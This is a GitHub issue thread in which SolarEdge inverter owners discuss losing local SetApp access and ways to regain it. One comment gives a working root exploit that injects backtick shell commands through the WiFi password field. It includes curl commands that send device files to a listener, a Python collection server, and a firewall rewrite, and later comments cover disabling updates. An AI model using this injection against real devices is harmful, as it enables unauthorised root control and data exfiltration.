solaredge_setapp icon indicating copy to clipboard operation
solaredge_setapp copied to clipboard

SetApp access

Open jonesPD opened this issue 4 years ago • 34 comments

Hi nmakel, Any clue how to regain access to the setapp website? When I installed the inverter two days ago, it worked, it worked yesterday too, but from this morning onwards, the page is no longer accessible. Any clue how to get back to it? Thanks. Peter

jonesPD avatar Mar 31 '20 19:03 jonesPD

It's a bit of a mystery. The firmware contains firewall rule files which effectively block all incoming traffic over ethernet, but allows access on port 80 and 8080 via WiFi. But it's not entirely certain these are being applied (consistently). Anecdotal reports are a mixed bag: some people have never had any trouble, while others have lost access only to regain it after another update.

We don't really know what SolarEdge is doing to be honest...

nmakel avatar Apr 01 '20 08:04 nmakel

A quick -- closing -- update on the above issue:

Some inverters have debug mode enabled. It is currently unknown why some people have this, and others don't. It looks like SolarEdge can issue commands to inverters to enable and disable debug mode. Other clues point towards debug flags being enabled for some firmware builds and not others. As far as I know it is not possible to enable debug mode yourself. Applying updates using the SetApp utility may help, it may not.

This means that this software will only work as long as the inverter is in debug mode.

nmakel avatar Apr 09 '20 17:04 nmakel

SolarEdge has disabled debug mode on my device, and seems to have done so to many others, see issues here, and here.

By removing the debug mode configuration file the iptables ruleset is loaded a boot time. Therefore ports 80 and 8080 are now blocked on both the wireless and ethernet interfaces. While there are references to a "permanent" debug mode in some of the scripts in later firmware releases, it is unclear how this can be activated or under what circumstances SolarEdge would do so.

There doesn't seem to be any easy methods of getting a terminal on the device: such as serial ports or simply plugging in a keyboard. The boot loader may be an avenue worth investigating, but as I only have the one unit producing energy, I'm not inclined to mess with u-boot in the blind.

What I've done so far is place a computer with WiFi near the inverter, turned on "P" mode by switching the 0/1/P toggle to P for a second, and connected to the hotspot created by the inverter. This WiFi network is the p2p network used by the SetApp application during commissioning. The password for this network is printed on the side of your unit, and the wireless network name is provided by the SetApp application. For the moment this network seems to stay alive as long as the SetApp API is being polled, i.e., the commissioning status page is open, or the protobuffers are being requested frequently enough. Once this stops, the network disappears in less than a minute.

With a little bit of iptables redirecting I can continue to fetch inverter and optimizer data as usual.

It is unclear at this point whether the p2p interface remains up after the inverter goes into night mode. Nor is it clear whether there is a timeout that I haven't hit yet. The next step in this cat-and-mouse game is for SolarEdge to implement authentication between the SetApp webservice and the application. Let's hope that they come to understand that allowing owners access to this data is in their interest.

nmakel avatar Apr 22 '20 15:04 nmakel

Frustrating, my access was blocked yesterday... Thanks for the update, at least I know it's not the rest of my setup playing up...

maffiou avatar Apr 22 '20 17:04 maffiou

The method described in my previous comment seems to hold up. It has been running now for about 16 hours with a night in between. Once a connection is made to the p2p WiFi network it can be made to stay up by regularly requesting a protobuffer. It also seems to survive inverter reboots as the p2p WiFi is turned on as part of the startup procedure. Inverter CPU is currently 4.9.30.

Despite needing an extra piece of hardware near your inverter, this seems like a workable solution.

nmakel avatar Apr 23 '20 06:04 nmakel

I confirm this works here as well with 4.8.28. (I never have debug mode) Do you know what are the differences/news in 4.9.30? Unfortunately solaredge support site is not (yet) provide such details (for normal customers).

Currently I am blocking access due to I am a bit afraid of any "surprise" At the same time I am curious regarding any improvements/fixes.
Is there any method to save existing firmware version and rollback if I want?

tamas2001 avatar Apr 23 '20 14:04 tamas2001

Nothing too shocking, you can see the diff in the protobuf files in the repo. In the interface a few new options to set (external) power management have been added. Still no optimizer power or float voltage/amperage values.

You should be able to grab the firmware files from your phone, they're downloaded by SetApp and stored as spff files (Version_4_8_28_141843.spff for example). For iphone you can use idevicebackup2 (provided by the package libimobiledevice-utils on Ubuntu). For android I'm sure there's equivalent applications.

Updating the firmware without connecting to the internet can be done by going to port 8080 and uploading the spff file in the form. Downgrading was still possible when I was on 4.8.28. Not sure if this still works on 4.9.30.

nmakel avatar Apr 23 '20 15:04 nmakel

Thanks a lot, these are very useful details. Unfortunately the inverter was commissioned by installer's phone so I do not have the fw version 4.8.28. Most probably when trying to use setapp again it will download the newest fw. As far as I remember there is no confirmation question regarding update, it will be done automatically.

Now I was able to forward the queried parameters towards MQTT, however the other problem is that inverter's webserver has rate limit and sometimes refuses to provide data with 429 error (too many requests) even repeating the query only for optimizers (30 pieces) in every 60 seconds. Is it known what is timeout value (no any poll/request is sent ) after the webserver disappear?

tamas2001 avatar Apr 24 '20 12:04 tamas2001

I poll status (for basic inverter stats) every 10 seconds. and maintenance (for power optimizer stats) every 60 seconds. The last time I was working on the new setup the p2p network seemed to disconnect within about a minute of the last query.

You don't need to connect to the inverter for SetApp to download new firmware, it will download new firmware upon launch regardless.

nmakel avatar Apr 24 '20 16:04 nmakel

ALL INSTRUCTIONS BELOW ARE EXECUTED AT YOUR OWN RISK I am running firmware 4.8.19, but it should also work on 4.8.28

Hello, It is currently possible to open port 80 and port 8080 on the SolarEdge, this only works due to a code execution exploit that is currently in the SolarEdge's firmware. It is important that you block the SolarEdge from netwerk access, if you don't, the ports 80 and 8080 will be blocked again next firmware update.

When you read through the SolarEdge's patchnotes, you will see the following:

Can’t connect to Wi-Fi routers with password containing the following special characters: Dollar - $, back tick - `, quote - ", or forward slash - \
Workaround: Change Wi-Fi router password to exclude these 4 characters

This means that we can execute shell scripts on the device, and it just so happens to give us full root access. We can't get any outpur for the commands we execute, but there is a work around for that.

Using a small webserver, we can log all post requests to a console, and the SolarEdge has curl installed, so we can execute scripts, and post their commands to our webserver. This is the webserver's code:

#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        #logging.info("  %s",post_data.decode('utf-8'))
        print("%s"%(post_data.decode('utf-8')))

        self._set_response()
        self.wfile.write("".encode('utf-8'))
        
    def log_message(self, format, *args):
            pass
    
def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Entering a wifi password with the following value will give us the files and folders on / as output in our webserver.

`ls -l / > /tmp/temp-output | curl -X POST --data-binary @/tmp/temp-output http://172.16.0.10:8080`

Opening port 80 and 8080

First, we want to connect a laptop to the solaredge's wifi network, this laptop will need to run the python3 webserver. When we are connected, we want to use the SolarEdge RCE to change the firewall to open port 80 and port 8080.

We can check the current firewall rules using the following wifi password:

`curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080`

They should look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j DROP
-A INPUT -p tcp -m tcp --dport 8080 -j DROP
COMMIT

We can open port 80 and port 8080 using the following wifi password:

`sed 's/DROP/ACCEPT/' /data/configs/iptables.conf -i`

They should now look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
COMMIT

When you restart the solar edge, you should find port 80 and 8080 working again.

Block the solar edge from the internet If you don't do this, the RCE will get patched and port 80 and 8080 will be closed next firmware update.

ironsm4sh avatar May 01 '20 15:05 ironsm4sh

Confirmed working on 4.9.30. Nice find!

nmakel avatar May 01 '20 16:05 nmakel

Thanks for sharing. Do I need to block access to internet altogether, or just particular ports? If the first, I assume this means it won’t update the SolarEdge monitoring portal anymore?

jonesPD avatar May 01 '20 17:05 jonesPD

The inverter talks to SolarEdge over https, and in the past I've only seen the one connection. Through this channel it sends telemetry for the monitoring portal, and receives messages from SolarEdge. Among these messages is the command to do a remote upgrade. As far as I can see there is no way through the network to block one without blocking the other.

It should be possible to modify the software on the unit to disallow updates, but you're taking huge risks by doing so. Most of the front end, configuration and management logic is implemented in python, which can be decompiled and modified.

nmakel avatar May 02 '20 21:05 nmakel

I confirm it works with 4.8.28!! Additionally no more [429] response. :) Thanks a lot !

tamas2001 avatar May 03 '20 09:05 tamas2001

Heads up that the firmware that dropped today (4.9.33) contains a fix for the above method.

nmakel avatar May 12 '20 08:05 nmakel

Any clues what is the response from the web server with this new 4.9.33 firmware? Is it a http response code? If so, it should still be possible to use a sniffer to fetch the authentication packets, because the communication between setapp and the inverter is still unencrypted.

lamlion avatar May 28 '20 10:05 lamlion

Just an idea, we could probably avoid fw upgrade to happen if we change the content of '/etc/sw-versions' file looks like this:

rootfs 4.8.28.141843 core core_v1.3.43 pmanager pmanager_v1.1.119 at91bootstrap at91bootstrap_sedg_v1.0.7 uboot u_boot_at91_sedg_v1.0.3 kernel linux_at91_sedg_v1.0.38 dtb 0.0.0

(Maybe it is just a simple check (by se) in that file to decide if fw upgrade is necessary or not.... ) To the contents coming with the fw 4.9.33/latest one. I know this is working until any newer firmware is released... Is there any announcement if new fw is released by se? If we could rename/delete the 'sw-versions' file then the version check would be impossible thus no automatic fw upgrade should happen anymore...

tamas2001 avatar May 28 '20 14:05 tamas2001

Well, it looks like it is no so easy...

There are two main components called core and pmanager (healthcheck running for these periodically)

There is a config file for core (/data/configs/core_app_config) it contains several "version" related parameters. (eg. Major,Minor version, Upgrade timestamp, Version checksum,DSP version info etc.)

One interesting is the following

"1010": { "name": "Inverter Version sync", "value": 1, "type": "uint"

I am not sure if that is set to 0 it can avoid fw upgrade or not. Maybe it is for totally different purposes. eg. Used in case having multiple inverters connected each other. I don't know.... So no more idea sofar...

tamas2001 avatar May 28 '20 16:05 tamas2001

Any clues what is the response from the web server with this new 4.9.33 firmware? Is it a http response code? If so, it should still be possible to use a sniffer to fetch the authentication packets, because the communication between setapp and the inverter is still unencrypted.

They added input string escapes for $, `, ', and " characters in the wifi SSID and password. This is done server side. I'm not running 4.9.33 so I haven't tested the actual implementation, but it's there.

nmakel avatar May 28 '20 18:05 nmakel

Well, it looks like it is no so easy...

There are two main components called core and pmanager (healthcheck running for these periodically)

There is a config file for core (/data/configs/core_app_config) it contains several "version" related parameters. (eg. Major,Minor version, Upgrade timestamp, Version checksum,DSP version info etc.)

One interesting is the following

"1010": { "name": "Inverter Version sync", "value": 1, "type": "uint"

I am not sure if that is set to 0 it can avoid fw upgrade or not. Maybe it is for totally different purposes. eg. Used in case having multiple inverters connected each other. I don't know.... So no more idea sofar...

Quick and dirty fix? Move or rename /usr/bin/swupdate. Without this, /root/swupgrade.sh fails. You'll probably want to modify /root/swupgrade.sh as well, otherwise the inverter may end up in an endless reboot loop. Change the root password to prevent remote SSH access, and you're pretty much done.

Modifying the python scripts in /usr/lib/python3.4/site-packages/ is a safer route, but one I haven't explored, yet.

Modifying the on device firmware is risky. There is no way to get a console to fix anything you break. Don't do this unless you're absolutely sure you want to risk bricking your inverter, cause unforeseen damage to the rest of your system, and want to skip any safety and security fixes SolarEdge provides in future updates.

nmakel avatar May 28 '20 19:05 nmakel

Thanks for the hints! So far no time to have closer look yet and not brave enough to take the risk to brick the baby...

tamas2001 avatar Jun 09 '20 13:06 tamas2001

Possible future SolarEdge system owner here. All the players (Enphase, APSytems, Tigo, SolarEdge, SMA) are engaged in the data lock down game in one shape or form. I'm just trying to figure out if SolarEdge has the highest chance of sustainability once access is acquired and maintained. They're pretty much the only player left that I haven't ruled out.

If I were to get a SolarEdge system, could I practically get it up and working 100% (I'm installing the system myself) with absolutely zero access to the internet. Basically, do everything via the SetApp interface and block all attempts to update firmware? In the SetApp app (Android) itself, will it attempt to upgrade firmware w/o permission? Any other things I should take into consideration? I'm pretty comfortable with all the workarounds mentioned in this thread and Linux internals - it is just the sustainability part that concerns me.

analogue avatar Jun 30 '20 14:06 analogue

Possible future SolarEdge system owner here. All the players (Enphase, APSytems, Tigo, SolarEdge, SMA) are engaged in the data lock down game in one shape or form. I'm just trying to figure out if SolarEdge has the highest chance of sustainability once access is acquired and maintained. They're pretty much the only player left that I haven't ruled out.

If I were to get a SolarEdge system, could I practically get it up and working 100% (I'm installing the system myself) with absolutely zero access to the internet. Basically, do everything via the SetApp interface and block all attempts to update firmware? In the SetApp app (Android) itself, will it attempt to upgrade firmware w/o permission? Any other things I should take into consideration? I'm pretty comfortable with all the workarounds mentioned in this thread and Linux internals - it is just the sustainability part that concerns me.

The current firmware release (4.8.28) on most people's inverters is vulnerable to the exploit discussed above. SolarEdge has already made an update available which fixes it. It's probably a gamble at this point whether a new inverter will ship from the factory with a vulnerable firmware version or not.

However, another point to consider: this generation of inverters needs to be activated, using a code printed on the side of the unit, by the SetApp utility. The SetApp utility will download the latest firmware versions before doing anything else, and will update any inverter it connects to without prompting for permission. Keeping the SetApp utility in the dark about firmware updates probably won't work: it requires internet access at some point because you need to log in with your installer account, and the actual activation quite likely does too.

As the SetApp web interface is no longer accessible, the only way to possbily attempt to exploit the vulnerability is by connecting to the inverter using the SetApp utility. If at that point there is an updated firmware available, you're out of luck. There are a few firmware releases in circulation, 4.8.28, 4.9.13 and 4.9.33. The latter contains the fix.

If this is your primary concern, buy the inverter first, root it, and then proceed with the installation of the panels.

Edit: I'm making the assumption that the web interface is disabled out of the box. This may not be the case as some users reported having access -- albeit for a short period -- at some point before being locked out. It may be that inverters are sent a lockdown command after functioning for n hours or days.

With regards to your actual question, sustainable access, sure: if you can root the thing, you own the thing. Disabling the openwrt-style swupdate process is trivial once you're on the device. SolarEdge really doesn't want you to, and is doing various things to lock their system down, nevertheless.

nmakel avatar Jul 01 '20 06:07 nmakel

Does this mean it’s impossible to extract the encryption keys with the latest firmware? Or is the rs485 option still working?

rvdbreemen avatar Aug 02 '20 22:08 rvdbreemen

Does this mean it’s impossible to extract the encryption keys with the latest firmware? Or is the rs485 option still working?

I'm guessing that's a question better asked in jbuehl's solaredge. This project only deals with the data available through the SetApp interface.

nmakel avatar Aug 04 '20 07:08 nmakel

You've also got people like me, who have upgraded ware via setapp and never lost the local LAN data option. It doesn't seem to be consistently unavailable for some folks. Very strange.

AndyRPH avatar Aug 04 '20 10:08 AndyRPH

@nmakel since my local lan was cutoff and my modbus over tcp was cut off through wifi, I have bridged the set app wifi and my local network. I currently have a crontab which requests the status proto file every 5 mins, is this enough to keep it open from your experience. Was this a reliable method for you and do you still use it?

I’m hoping to avoid using the network sniff pcap method!

and seriously if Solaredge are worried about people stuffing around with settings couldn’t they put some effort into a read only service available on port 80 …. So frustrating for people who have displays, openHAB, homeassistant etc. and then a 300 charge for their “genysis” addon Lordy. Okay enough ranting from me !

gamblor999 avatar Jan 26 '22 22:01 gamblor999

@nmakel since my local lan was cutoff and my modbus over tcp was cut off through wifi, I have bridged the set app wifi and my local network. I currently have a crontab which requests the status proto file every 5 mins, is this enough to keep it open from your experience. Was this a reliable method for you and do you still use it?

I ran a similar setup for a couple of months. This method should work so long as their SetApp smartphone app works via this method. There are many ways they can make it more difficult with future firmware update (authentication, reduced timeout, encryption).

When a vulnerability was found in an earlier firmware release I took the opportunity to neuter my inverter by changing the root password and disabling any remote update functionality, and re-enabled lan SetApp access.

nmakel avatar Jan 27 '22 19:01 nmakel

To keep the setapp wifi open my crontab was set for 1min with curl -s http://172.16.0.1/web/v1/status, unfortunately didnt work as after 4 or so hours it drops the wifi..... what a pain!

gamblor999 avatar Jan 28 '22 05:01 gamblor999

Does anyone know if the wifi password workaround is still possible, and how you can set the wifi details? Via the web interface, I am locked out of the wifi credentials and it tells me to use an up to date setapp. Can I access the endpoint to set wifi directly - anyone have the API details?

Alternatively, I tried to use modbus over tcp (via ethernet), but even though the socket is listening and accepts connections, it very rarely responds. I only managed to get a few responses, usually after restarting the inverter, via a python script using pymodbus. I've also tried with the solaredge modbus integrations in home assistant but they never get any data.

dannytrigo avatar Jun 09 '22 13:06 dannytrigo